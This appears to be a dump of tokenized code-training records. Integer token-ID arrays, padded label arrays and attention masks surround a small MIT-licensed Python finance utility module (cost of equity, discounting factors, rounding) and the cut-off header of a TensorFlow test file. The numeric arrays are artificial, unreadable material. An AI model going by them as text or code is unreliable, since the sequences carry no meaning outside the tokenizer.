267, 340, 612, 365, 488, 26, 288, 372, 756, 267, 372, 612, 690, 10092, 3448, 63, 28591, 59, 17, 61, 446, 5436, 554, 272, 916, 2909, 508, 298, 2119, 582, 267, 612, 275, 28525, 63, 2119, 8, 11226, 9, 267, 340, 612, 365, 488, 26, 288, 372, 756, 267, 372, 612, 665, 10092, 3448, 63, 28591, 59, 16, 61, 435, 5436, 554, 272, 587, 26, 267, 746, 1722, 480, 22517, 2909, 26, 8352, 908, 8, 1985, 430, 199, 199, 309, 67, 419, 270, 2675, 426, 5718, 641, 1902, 5366, 199, 3, 347, 365, 63, 67, 419, 270, 2675, 426, 8, 11226, 12, 2909, 29, 3472, 63, 16575, 12, 5436, 554, 29, 3472, 63, 20706, 7140, 304, 199, 3, 258, 5436, 554, 275, 959, 199, 3, 258, 612, 275, 28525, 63, 8305, 8, 11226, 9, 199, 3, 258, 612, 18, 275, 28525, 63, 2119, 8, 11226, 9, 199, 3, 258, 340, 612, 365, 488, 26, 199, 3, 260, 372, 756, 199, 3, 258, 372, 334, 89, 690, 10092, 3448, 63, 28591, 59, 17, 61, 446, 5436, 554, 9, 503, 334, 89, 665, 10092, 3448, 63, 28591, 59, 16, 61, 435, 5436, 554, 9, 1362, 421, 199, 318, 1077, 63, 1457, 8, 11226, 12, 326, 1595, 12, 326, 2909, 29, 3472, 63, 16575, 12, 326, 5436, 554, 29, 3472, 63, 20706, 7140, 12, 326, 1853, 63, 3584, 554, 29, 3472, 63, 8475, 63, 20706, 7140, 304, 272, 340, 16087, 365, 488, 26, 267, 372, 756, 272, 340, 365, 63, 67, 419, 270, 2675, 426, 8, 11226, 12, 2909, 12, 5436, 554, 304, 267, 372, 756, 272, 340, 2909, 508, 298, 2119, 582, 267, 327, 10163, 267, 340, 365, 63, 67, 419, 270, 2675, 426, 8, 11226, 12, 2909, 12, 5436, 554, 435, 1853, 63, 3584, 554, 9, 436, 1595, 1137, 959, 26, 288, 372, 715, 272, 916, 2909, 508, 298, 8305, 582, 267, 327, 7215, 267 ]
[ 2050, 199, 646, 747, 199, 646, 5927, 199, 504, 5055, 492, 12863, 199, 199, 646, 486, 12828, 199, 646, 2680, 465, 980, 199, 199, 504, 286, 419, 270, 2675, 426, 63, 5029, 492, 627, 199, 504, 286, 419, 270, 2675, 426, 63, 5029, 492, 445, 419, 270, 2675, 426, 4590, 199, 504, 12429, 63, 3249, 492, 334, 21969, 35, 419, 270, 2675, 426, 3142, 281, 3861, 1659, 12, 2574, 29026, 35, 419, 270, 2675, 426, 8508, 3861, 1659, 9, 199, 199, 2921, 275, 2050, 14, 5572, 3460, 354, 3368, 199, 2921, 14, 13548, 8, 4806, 14, 4531, 9, 199, 199, 52, 2228, 540, 7140, 275, 378, 14, 614, 199, 48, 9732, 906, 63, 21436, 275, 2420, 1019, 582, 29235, 12, 298, 3039, 582, 3193, 93, 199, 48, 9732, 906, 63, 7134, 275, 2420, 1019, 582, 980, 14, 1144, 779, 2942, 12, 413, 1184, 12, 20140, 2522, 298, 3039, 582, 980, 14, 1144, 779, 14271, 12, 21334, 12, 9720, 566, 93, 199, 11625, 63, 28591, 275, 359, 1082, 12, 8177, 435, 21235, 61, 199, 3472, 63, 20706, 7140, 275, 3193, 199, 3472, 63, 8475, 63, 20706, 7140, 275, 3193, 199, 3472, 63, 16575, 275, 298, 8305, 2, 421, 199, 318, 28525, 63, 8305, 8, 24299, 12, 28525, 628, 1019, 2349, 272, 2763, 275, 20038, 3981, 510, 9732, 906, 63, 21436, 59, 80, 20101, 467, 12228, 446, 510, 9732, 906, 63, 7134, 59, 80, 20101, 61, 272, 1911, 275, 334, 1590, 14, 1838, 8, 1590, 14, 2101, 8, 2301, 395, 3114, 29, 17, 9, 665, 377, 2228, 540, 7140, 680, 6041, 8, 1590, 14, 442, 9, 272, 519, 275, 980, 14, 16383, 8, 1590, 14, 16114, 1181, 8, 4214, 430, 272, 519, 275, 334, 552, 8, 4214, 9, 446, 519, 446, 413, 9, 272, 340, 440, 1911, 59, 82, 2189, 267, 372, 488, 272, 587, 26, 267, 372, 519, 421, 199, 318, 28525, 63, 2119, 8, 24299, 12, 28525, 628, 1019, 2349, 272, 2763, 275, 20038, 3981, 510, 9732, 906, 63, 21436, 59, 80, 20101, 467, 12228, 446, 510, 9732, 906, 63, 7134, 59, 80, 20101, 61, 272, 1911, 275, 334, 1590, 14, 1838, 8, 1590, 14, 2101, 8, 2301, 395, 3114, 29, 17, 9, 665, 377, 2228, 540, 7140, 680, 6041, 8, 1590, 14, 442, 9, 272, 519, 275, 980, 14, 16383, 8, 4214, 9, 272, 340, 440, 1911, 59, 82, 2189, 267, 372, 488, 272, 587, 26, 267, 372, 519, 421, 199, 3, 347, 330, 452, 63, 4218, 8, 24299, 304, 199, 3, 258, 336, 275, 980, 14, 4509, 8, 1590, 14, 2101, 8, 24299, 3981, 22, 26, 1344, 61, 446, 378, 14, 8533, 14781, 1085, 9, 690, 377, 2228, 540, 7140, 18562, 18, 61, 199, 3, 258, 340, 822, 8, 87, 59, 16, 566, 508, 378, 503, 822, 8, 87, 59, 16, 566, 690, 841, 26, 199, 3, 260, 372, 488, 199, 3, 258, 336, 275, 980, 14, 3670, 8, 87, 12, 3114, 29, 17, 9, 199, 3, 258, 372, 336, 59, 16, 467, 336, 59, 17, 61, 435, 1227, 199, 3, 199, 3, 347, 330, 452, 63, 265, 63, 3039, 8, 24299, 304, 199, 3, 258, 336, 275, 980, 14, 4509, 8, 1590, 14, 2101, 8, 24299, 3981, 22, 26, 2025, 61, 446, 378, 14, 8533, 14781, 1085, 9, 690, 377, 2228, 540, 7140, 18562, 18, 61, 199, 3, 258, 372, 8, 552, 8, 87, 59, 16, 566, 690, 378, 9, 421, 199, 318, 870, 63, 24299, 8, 24299, 304, 272, 491, 275, 942, 272, 367, 1962, 315, 20038, 26, 267, 367, 574, 315, 1962, 26, 288, 1911, 275, 756, 288, 367, 284, 12, 373, 315, 3874, 8, 44, 304, 355, 340, 334, 86, 508, 574, 680, 452, 837, 490, 1911, 275, 715, 490, 870, 8, 73, 12, 1284, 18413, 490, 2059, 288, 340, 440, 1911, 26, 355, 870, 8, 552, 8, 44, 395, 1284, 18413, 355, 491, 14, 740, 8, 585, 9, 267, 870, 342, 272, 367, 284, 12, 373, 315, 3874, 8, 44, 304, 267, 870, 8, 73, 12, 373, 9, 421, 199, 318, 365, 63, 67, 419, 270, 2675, 426, 8, 11226, 12, 2909, 29, 3472, 63, 16575, 12, 5436, 554, 29, 3472, 63, 20706, 7140, 304, 258, 2286, 340, 2909, 508, 298, 8305, 582, 267, 612, 275, 28525, 63, 8305, 8, 11226, 9, 267, 340, 612, 365, 488, 26, 288, 372, 756, 267, 372, 612, 690, 10092, 3448, 63, 28591, 59, 17, 61, 446, 5436, 554, 272, 916, 2909, 508, 298, 2119, 582, 267, 612, 275, 28525, 63, 2119, 8, 11226, 9, 267, 340, 612, 365, 488, 26, 288, 372, 756, 267, 372, 612, 665, 10092, 3448, 63, 28591, 59, 16, 61, 435, 5436, 554, 272, 587, 26, 267, 746, 1722, 480, 22517, 2909, 26, 8352, 908, 8, 1985, 430, 199, 199, 309, 67, 419, 270, 2675, 426, 5718, 641, 1902, 5366, 199, 3, 347, 365, 63, 67, 419, 270, 2675, 426, 8, 11226, 12, 2909, 29, 3472, 63, 16575, 12, 5436, 554, 29, 3472, 63, 20706, 7140, 304, 199, 3, 258, 5436, 554, 275, 959, 199, 3, 258, 612, 275, 28525, 63, 8305, 8, 11226, 9, 199, 3, 258, 612, 18, 275, 28525, 63, 2119, 8, 11226, 9, 199, 3, 258, 340, 612, 365, 488, 26, 199, 3, 260, 372, 756, 199, 3, 258, 372, 334, 89, 690, 10092, 3448, 63, 28591, 59, 17, 61, 446, 5436, 554, 9, 503, 334, 89, 665, 10092, 3448, 63, 28591, 59, 16, 61, 435, 5436, 554, 9, 1362, 421, 199, 318, 1077, 63, 1457, 8, 11226, 12, 326, 1595, 12, 326, 2909, 29, 3472, 63, 16575, 12, 326, 5436, 554, 29, 3472, 63, 20706, 7140, 12, 326, 1853, 63, 3584, 554, 29, 3472, 63, 8475, 63, 20706, 7140, 304, 272, 340, 16087, 365, 488, 26, 267, 372, 756, 272, 340, 365, 63, 67, 419, 270, 2675, 426, 8, 11226, 12, 2909, 12, 5436, 554, 304, 267, 372, 756, 272, 340, 2909, 508, 298, 2119, 582, 267, 327, 10163, 267, 340, 365, 63, 67, 419, 270, 2675, 426, 8, 11226, 12, 2909, 12, 5436, 554, 435, 1853, 63, 3584, 554, 9, 436, 1595, 1137, 959, 26, 288, 372, 715, 272, 916, 2909, 508, 298, 8305, 582, 267, 327, 7215, 267, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
conceptric/pyinvest
pyinvest/utils.py
1
1880
import numpy as np def cost_of_equity(rfr, mrp, beta=1): ''' Calculates the fractional cost of equity from collections: risk_free : collection of fractional risk free rates. market_risk: collection of fractional market risk premimums. stock_beta : collection of the market beta of the stocks. The beta is optional and defaults to 1. Returns the type of the most complex argument. ''' coes = np.array(rfr) + (np.array(beta) * np.array(mrp)) return selective_round(coes, 3) def get_discounting_factors(drate, duration=1, places=3): ''' Returns a numpy array of discounting factors, but it is also applicable to compounding rates, or anything of the form: (1 + rate)^year drate : fractional discounting / compounding rate. It can be a single value or a list of values for each year. duration: number of years for which factors are required. places : number of decimal place for the factors. ''' years = range(1, duration + 1, 1) try: __check_list_length(drate, duration) discounts = map(lambda r, t: (1 + r)**t, drate, years) except TypeError: discounts = map(lambda t: (1 + drate)**t, years) return np.array(selective_round(discounts, places)) def __check_list_length(alist, size): ''' Checks the size of a list and raises error incorrect ''' if len(alist) < size: raise ValueError('List too short.') if len(alist) > size: raise ValueError('List too long.') def selective_round(value, places): ''' Applies the round function depending on data type value : a single or collection of float values. places : an integer for the number of decimal places. ''' try: return map(lambda f: round(f, places), value) except TypeError: return round(value, places)
mit
[ 646, 2680, 465, 980, 199, 199, 318, 7918, 63, 1618, 63, 69, 783, 369, 8, 3941, 82, 12, 333, 4599, 12, 8201, 29, 17, 304, 272, 1449, 272, 28562, 314, 27487, 7918, 402, 325, 783, 369, 687, 5055, 26, 2286, 22633, 63, 4624, 221, 520, 3245, 402, 27487, 22633, 2867, 24434, 14, 272, 26584, 63, 27473, 26, 3245, 402, 27487, 26584, 22633, 876, 77, 2712, 83, 14, 272, 10952, 63, 5683, 520, 3245, 402, 314, 26584, 8201, 402, 314, 10952, 83, 14, 2286, 710, 8201, 365, 2716, 436, 4243, 370, 413, 14, 272, 1803, 314, 730, 402, 314, 4750, 6114, 1423, 14, 272, 1449, 272, 512, 397, 275, 980, 14, 1144, 8, 3941, 82, 9, 435, 334, 1590, 14, 1144, 8, 5683, 9, 627, 980, 14, 1144, 8, 17058, 430, 272, 372, 542, 25982, 63, 2363, 8, 331, 397, 12, 650, 9, 199, 199, 318, 664, 63, 15446, 316, 63, 16125, 8, 68, 1866, 12, 7373, 29, 17, 12, 9825, 29, 19, 304, 272, 1449, 272, 1803, 282, 2680, 1625, 402, 25309, 316, 17704, 12, 1325, 652, 365, 2597, 5591, 3964, 370, 16487, 316, 24434, 12, 503, 7003, 402, 314, 1824, 26, 2286, 334, 17, 435, 6634, 18979, 3403, 2286, 366, 1866, 257, 520, 27487, 25309, 316, 1182, 16487, 316, 6634, 14, 1598, 2779, 883, 506, 282, 2849, 574, 503, 282, 769, 402, 1338, 221, 1598, 367, 1924, 5361, 14, 272, 7373, 26, 1329, 402, 17399, 367, 1314, 17704, 787, 1415, 14, 272, 9825, 221, 520, 1329, 402, 6107, 4192, 367, 314, 17704, 14, 272, 1449, 272, 17399, 275, 1425, 8, 17, 12, 7373, 435, 413, 12, 413, 9, 272, 862, 26, 267, 636, 1074, 63, 513, 63, 1267, 8, 68, 1866, 12, 7373, 9, 267, 2153, 6851, 275, 2341, 8, 2734, 519, 12, 307, 26, 334, 17, 435, 519, 6422, 84, 12, 366, 1866, 12, 17399, 9, 272, 871, 3146, 26, 267, 2153, 6851, 275, 2341, 8, 2734, 307, 26, 334, 17, 435, 366, 1866, 6422, 84, 12, 17399, 9, 272, 372, 980, 14, 1144, 8, 261, 25982, 63, 2363, 8, 2297, 6851, 12, 9825, 430, 199, 199, 318, 636, 1074, 63, 513, 63, 1267, 8, 26279, 12, 1568, 304, 272, 1449, 13813, 314, 1568, 402, 282, 769, 436, 6534, 1125, 8927, 1449, 272, 340, 822, 8, 26279, 9, 665, 1568, 26, 746, 1722, 360, 1296, 4634, 3974, 2659, 272, 340, 822, 8, 26279, 9, 690, 1568, 26, 746, 1722, 360, 1296, 4634, 1846, 2659, 199, 199, 318, 542, 25982, 63, 2363, 8, 585, 12, 9825, 304, 272, 1449, 5591, 4693, 6528, 314, 6168, 805, 10298, 641, 666, 730, 5591, 574, 257, 520, 282, 2849, 503, 3245, 402, 2069, 1338, 14, 272, 9825, 221, 520, 376, 3000, 367, 314, 1329, 402, 6107, 9825, 14, 272, 1449, 272, 862, 26, 267, 372, 2341, 8, 2734, 289, 26, 6168, 8, 70, 12, 9825, 395, 574, 9, 272, 871, 3146, 26, 267, 372, 6168, 8, 585, 12, 9825, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 2680, 465, 980, 199, 199, 318, 7918, 63, 1618, 63, 69, 783, 369, 8, 3941, 82, 12, 333, 4599, 12, 8201, 29, 17, 304, 272, 1449, 272, 28562, 314, 27487, 7918, 402, 325, 783, 369, 687, 5055, 26, 2286, 22633, 63, 4624, 221, 520, 3245, 402, 27487, 22633, 2867, 24434, 14, 272, 26584, 63, 27473, 26, 3245, 402, 27487, 26584, 22633, 876, 77, 2712, 83, 14, 272, 10952, 63, 5683, 520, 3245, 402, 314, 26584, 8201, 402, 314, 10952, 83, 14, 2286, 710, 8201, 365, 2716, 436, 4243, 370, 413, 14, 272, 1803, 314, 730, 402, 314, 4750, 6114, 1423, 14, 272, 1449, 272, 512, 397, 275, 980, 14, 1144, 8, 3941, 82, 9, 435, 334, 1590, 14, 1144, 8, 5683, 9, 627, 980, 14, 1144, 8, 17058, 430, 272, 372, 542, 25982, 63, 2363, 8, 331, 397, 12, 650, 9, 199, 199, 318, 664, 63, 15446, 316, 63, 16125, 8, 68, 1866, 12, 7373, 29, 17, 12, 9825, 29, 19, 304, 272, 1449, 272, 1803, 282, 2680, 1625, 402, 25309, 316, 17704, 12, 1325, 652, 365, 2597, 5591, 3964, 370, 16487, 316, 24434, 12, 503, 7003, 402, 314, 1824, 26, 2286, 334, 17, 435, 6634, 18979, 3403, 2286, 366, 1866, 257, 520, 27487, 25309, 316, 1182, 16487, 316, 6634, 14, 1598, 2779, 883, 506, 282, 2849, 574, 503, 282, 769, 402, 1338, 221, 1598, 367, 1924, 5361, 14, 272, 7373, 26, 1329, 402, 17399, 367, 1314, 17704, 787, 1415, 14, 272, 9825, 221, 520, 1329, 402, 6107, 4192, 367, 314, 17704, 14, 272, 1449, 272, 17399, 275, 1425, 8, 17, 12, 7373, 435, 413, 12, 413, 9, 272, 862, 26, 267, 636, 1074, 63, 513, 63, 1267, 8, 68, 1866, 12, 7373, 9, 267, 2153, 6851, 275, 2341, 8, 2734, 519, 12, 307, 26, 334, 17, 435, 519, 6422, 84, 12, 366, 1866, 12, 17399, 9, 272, 871, 3146, 26, 267, 2153, 6851, 275, 2341, 8, 2734, 307, 26, 334, 17, 435, 366, 1866, 6422, 84, 12, 17399, 9, 272, 372, 980, 14, 1144, 8, 261, 25982, 63, 2363, 8, 2297, 6851, 12, 9825, 430, 199, 199, 318, 636, 1074, 63, 513, 63, 1267, 8, 26279, 12, 1568, 304, 272, 1449, 13813, 314, 1568, 402, 282, 769, 436, 6534, 1125, 8927, 1449, 272, 340, 822, 8, 26279, 9, 665, 1568, 26, 746, 1722, 360, 1296, 4634, 3974, 2659, 272, 340, 822, 8, 26279, 9, 690, 1568, 26, 746, 1722, 360, 1296, 4634, 1846, 2659, 199, 199, 318, 542, 25982, 63, 2363, 8, 585, 12, 9825, 304, 272, 1449, 5591, 4693, 6528, 314, 6168, 805, 10298, 641, 666, 730, 5591, 574, 257, 520, 282, 2849, 503, 3245, 402, 2069, 1338, 14, 272, 9825, 221, 520, 376, 3000, 367, 314, 1329, 402, 6107, 9825, 14, 272, 1449, 272, 862, 26, 267, 372, 2341, 8, 2734, 289, 26, 6168, 8, 70, 12, 9825, 395, 574, 9, 272, 871, 3146, 26, 267, 372, 6168, 8, 585, 12, 9825, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
sjperkins/tensorflow
tensorflow/python/estimator/canned/dnn_linear_combined_test.py
5
26973
# Copyright 2017 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== """Tests for dnn_linear_combined.py.""" from __future__ import absolute_import from __future__ import division from __future__ import print_function import shutil import tempfile import numpy as np import six from tensorflow.core.example import example_pb2 from tensorflow.core.example import feature_pb2 from 